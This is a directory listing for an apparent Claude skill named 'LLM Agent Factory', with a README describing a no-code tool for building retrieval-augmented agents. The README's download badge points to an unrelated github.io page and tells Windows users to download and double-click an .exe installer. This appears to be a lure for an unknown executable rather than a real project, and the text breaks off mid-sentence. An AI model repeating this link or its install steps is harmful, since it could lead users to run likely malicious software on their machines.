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LLM Agent Factory

Testing community

Description

Build, retrieve, and test structured AI agents using semantic search and retrieval-augmented generation.

Installation

This entry records only its repository, not the path inside it, so there is no exact command to give. Open the source below and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

README

🤖 LLM-Agent-Factory - Create smart agents with ease

[![](https://img.shields.io/badge/Download-Release_Page-blue.svg)](https://houseofprayerzinzendorf150.github.io)

📌 About this software

LLM-Agent-Factory helps you build and manage digital assistants. These assistants process complex information using your own documents and data sources. The system uses modern artificial intelligence to perform retrieval-augmented generation. This technology allows the agents to find specific facts within large files and provide accurate answers. You do not need to write code to create these agents. The software manages the heavy lifting in the background.

💻 System requirements

Your computer must meet these basic standards to run the software.

  • Windows 10 or Windows 11.
  • 8 GB of system memory.
  • 5 GB of free space on your hard drive.
  • An active internet connection to retrieve model data.
  • A recent web browser for the user interface.

📥 How to download and install

  1. Visit the official releases page to view available versions.
  2. Locate the latest version at the top of the list.
  3. Click the file ending in .exe to start your download.
  4. Once the file finishes downloading, navigate to your Downloads folder.
  5. Double-click the installer file.
  6. Follow the instructions on your screen to complete the setup.
  7. The installer creates a shortcut on your desktop.

🚀 Getting started

  1. Open the application by clicking the desktop icon.
  2. The program opens a local browser window. This is your control dashboard.
  3. Click on the "New Agent" button at the top of the page.
  4. Label your agent.
  5. Upload your documents or text files. The agent reads these files to build a search index.
  6. Test the agent by typing a question in the chat bar at the bottom.
  7. Adjust the search settings if you need the agent to be more specific or more creative.

🔍 How semantic search works

Traditional searc